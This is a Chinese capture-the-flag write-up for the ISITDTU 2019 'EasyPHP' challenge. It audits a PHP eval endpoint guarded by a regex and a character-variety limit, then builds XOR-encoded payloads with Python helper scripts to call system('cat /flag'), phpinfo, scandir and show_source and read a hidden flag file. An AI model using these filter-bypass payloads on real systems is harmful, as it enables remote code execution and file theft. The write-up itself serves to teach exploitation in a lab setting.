[ISITDTU 2019]EasyPHP

[ISITDTU 2019]EasyPHP

打开题目审计代码

 <?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
    die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
    die('you are so close, omg');

eval($_);
?>

只要绕过两个if语句就可以执行$_第二个if限制了我们使用的字符的种类不能超过13种,第一个if是进行了一系列的正则匹配,这里有个线上解释正则表达式的网站,把题目里面的正则表达式输进去得到匹配的字符结果

i匹配下面列表中的单个字符[\x00- 0-9\'" ' $&.,|[{_defgops\x7F]
+匹配之前的token在1次和无限次之间,尽可能多的次数,根据需要返回(贪婪)
\x00 匹配ascll码在0-32之间的字符
0-9匹配范围数字0-9
\'匹配 '
" ' $ & .,|[{_defgops 匹配列表" ' $ & .,|[{_defgops中的单个字符。
\x7F匹配字符十进制127

也就是过滤了所有的数字和字符@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_abcdefghijklmnopqrstuvwxyz{|}-这里是所有的ascii码中的可见字符,我们将不可用的删掉就得到!#%()*+-/:;<=>?@ABCHIJKLMNQRTUVWXYZ\]^abchijklmnqrtuvwxyz}~
下面我用python写了个异或脚本,下面我们就要构造能够执行的命令

from urllib import parse

goal="system('cat /flag')"
str="!#%()*+-/:;<=>?@ABCHIJKLMNQRTUVWXYZ\]^abchijklmnqrtuvwxyz}~"
for k in goal:
    flag=0
    for i in str:
        for j in str:
            if ord(i)^ord(j) == ord(k):
                ui = parse.quote(i)
                uj = parse.quote(j)
                print("{}^{}={}".format(ui,uj,k))
                flag = 1
                pass
            pass
        if(flag == 1):
            break
            pass
        pass
    pass

执行结果
在这里插入图片描述

也就是system('cat /flag')=%21%21%21%21%25%21%40I%21%21%21A%25%21%25I%40^RXRU%40LhnB%40UaCM%40Bni
超出长度限制了,欸,看一下我们用了多少个字符
在这里插入图片描述

<?php
$str='%21%21%21%21%25%21%40I%21%21%21A%25%21%25I%40^RXRU%40LhnB%40UaCM%40Bni';
$str1=urldecode($str);
$count=strlen(count_chars($str1,3));
var_dump($count);

在这里插入图片描述
我们用了17种字符,但是这已经是我们使用的方法下面最少的字符数量了,那么我们就可以控制异或的两个值有一个是一直不变的就可以节省很多的字符,这里因为之前用过0xff,这里也用它尝试一下
而且看了wp之后才知道很多命令执行的危险函数都被禁掉了,所以以后做题之前要先看一下phpinfo();=((%8f%97%8f%96%91%99%90)^(%ff%ff%ff%ff%ff%ff%ff))();

goal="phpinfo"
str=255
for k in goal:
    flag = 0
    for i in range(128, 254):
        if i ^ str == ord(k):
            num = hex(i)
            num2= hex(str)
            print("{}^{}={}".format(num,num2,k))
            flag=1
            pass
        if(flag == 1):
            break
            pass
        pass
    pass
//运行结果
0x8f^0xff=p
0x97^0xff=h
0x8f^0xff=p
0x96^0xff=i
0x91^0xff=n
0x99^0xff=f
0x90^0xff=o
那么phpinfo就可以用(%8f%97%8f%96%91%99%90)^(%ff%ff%ff%ff%ff%ff%ff)来表示

然后我们看一下phpinfo里面的禁用函数
在这里插入图片描述
有这么多,system,exec和很多命令执行的函数都被ban掉了,这里可以还可以利用print_r执行命令,和scandir(.)查看当前目录,也就是print_r(scandir(.))

((%8f%8d%96%91%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%91%9b%96%8d)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));

我们用的字符串超过了,我们去看看我们用了多少种字符
在这里插入图片描述
我们用了16种,但是题目要求的是不能超过13种,去掉一定要使用的() ^ ;,就还剩9个,但是这已经是两种字符异或用的最少字符的情况了,我们可以再找字符异或得到我们之前进行异或的字符进行替换,也就是print_r(scandir(.))里面有print_scad.一共有11个,比只能有的8个多了三个,就找出三个字符来用这里面的来进行异或表示,对应的ascii码就是112,114,105,110,116,115,99,97,100

字母:        p    r    i     n   t    s    c    a     d   .    _
十进制:      112, 114, 105, 110, 116, 115, 99,  97,  100, 46,  95
十六进制:    0x70 0x72 0x69 0x6e 0x74 0x73 0x63 0x61 0x64 0x2e 0x5f
十六进制^0xff:0x8f,0x8d,0x96,0x91,0x8b,0x8c,0x9c,0x9e,0x9b,0xd1,0xa0

p 0x8f^0x8f^0x8f=0x8f
r 0x8f^0x9c^0x9e=0x8d 1
i 0x96^0x96^0x96=0x96
n 0x96^0x9c^0x9b=0x91 1
t 0x8c^0x9c^0x9b=0x8b 1
s 0x8c^0x8c^0x8c=0x8c
c 0x9c^0x9c^0x9c=0x9c
a 0x9e^0x9e^0x9e=0x9e
d 0x9b^0x9b^0x9b=0x9b
. 0xd1^0xd1^0xd1=0xd1
_ 0xa0^0xa0^0xa0=0xa0

那么我们用来构造的字符就是0x8f,0x96,0x8c,0x9c,0x9e,0x9b,0xd1,0xa0

print_r=(%8f%8f%96%96%8c%a0%8f)^(%8f%9c%96%9c%9c%a0%9c)^(%8f%9e%96%9b%9b%a0%9e)^(%ff%ff%ff%ff%ff%ff%ff)
scandir=(%8c%9c%9e%96%9b%96%9e)^(%8c%9c%9e%9c%9b%9b%9c)^(%8c%9c%9e%9b%9b%9b%8f)^(%ff%ff%ff%ff%ff%ff%ff)

最后经过缩减的payload就是这样

((%8f%8f%96%96%8c%a0%8f)^(%8f%9c%96%9c%9c%a0%9c)^(%8f%9e%96%9b%9b%a0%9e)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%96%9b%96%9e)^(%8c%9c%9e%9c%9b%9b%9c)^(%8c%9c%9e%9b%9b%9b%8f)^(%ff%ff%ff%ff%ff%ff%ff))((%d1)^(%ff)));

我们可以看见在当前目录下有这个文件n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt
我们可以使用file_get_contentshow_source来读文件,因为字符可用字符数量有限,我们选择show_source,语句show_source(end(scandir(.)));这里一共有showurcendai_.,有14个字符,用ascii码表示就是115,104,111,119,117,114,99,101,110,100,97,105,46,95,这些字符转化为16进制表示就是

字母:        s    h    o    w    u    r    c    e    n    d   a     i    .    _
十进制:      115, 104, 111, 119, 117, 114, 99,  101, 110, 100, 97,  105, 46,  95
十六进制:    0x73 0x68 0x6f 0x77 0x75 0x72 0x63 0x65 0x6e 0x64 0x61 0x69 0x2e 0x5f
十六进制^0xff 0x8c,0x97,0x90,0x88,0x8a,0x8d,0x9c,0x9a,0x91,0x9b,0x9e,0x96,0xd1,0xa0
s 0x8d^0x9a^0x9b=0x8c 1
h 0x97^0x9c^0x9c=0x97
o 0x97^0x9b^0x9c=0x90 1
w 0x88^0x88^0x88=0x88
u 0x8d^0x9b^0x9c=0x8a 1
r 0x8d^0x8d^0x8d=0x8d
c 0x9c^0x9c^0x9c=0x9c
e 0x9a^0x9a^0x9a=0x9a
n 0x97^0x9a^0x9c=0x91 1
d 0x9b^0x9b^0x9b=0x9b
a 0x88^0x8d^0x9b=0x9e 1
i 0x97^0x9a^0x9b=0x96 1
. 0xd1
_ 0xa0^0xa0^0xa0=0xa0

这里我们选择的来构造的数就是str = [0x97, 0x88, 0x8d, 0x9c, 0x9a, 0x9b, 0xd1, 0xa0]

show_source=(%8d%97%97%88%a0%8d%97%8d%8d%9c%9a)^(%9a%9c%9b%88%a0%9a%9b%9b%8d%9c%9a)^(%9b%9c%9c%88%a0%9b%9c%9c%8d%9c%9a)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff)
end=(%9a%97%9b)^(%9a%9a%9b)^(%9a%9c%9b)^(%ff%ff%ff)
scandir=(%8d%9c%88%97%9b%97%8d)^(%9a%9c%8d%9a%9b%9a%8d)^(%9b%9c%9b%9c%9b%9b%8d)^(%ff%ff%ff%ff%ff%ff%ff)
((%8d%97%97%88%a0%8d%97%8d%8d%9c%9a)^(%9a%9c%9b%88%a0%9a%9b%9b%8d%9c%9a)^(%9b%9c%9c%88%a0%9b%9c%9c%8d%9c%9a)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))(((%9a%97%9b)^(%9a%9a%9b)^(%9a%9c%9b)^(%ff%ff%ff))(((%8d%9c%88%97%9b%97%8d)^(%9a%9c%8d%9a%9b%9a%8d)^(%9b%9c%9b%9c%9b%9b%8d)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值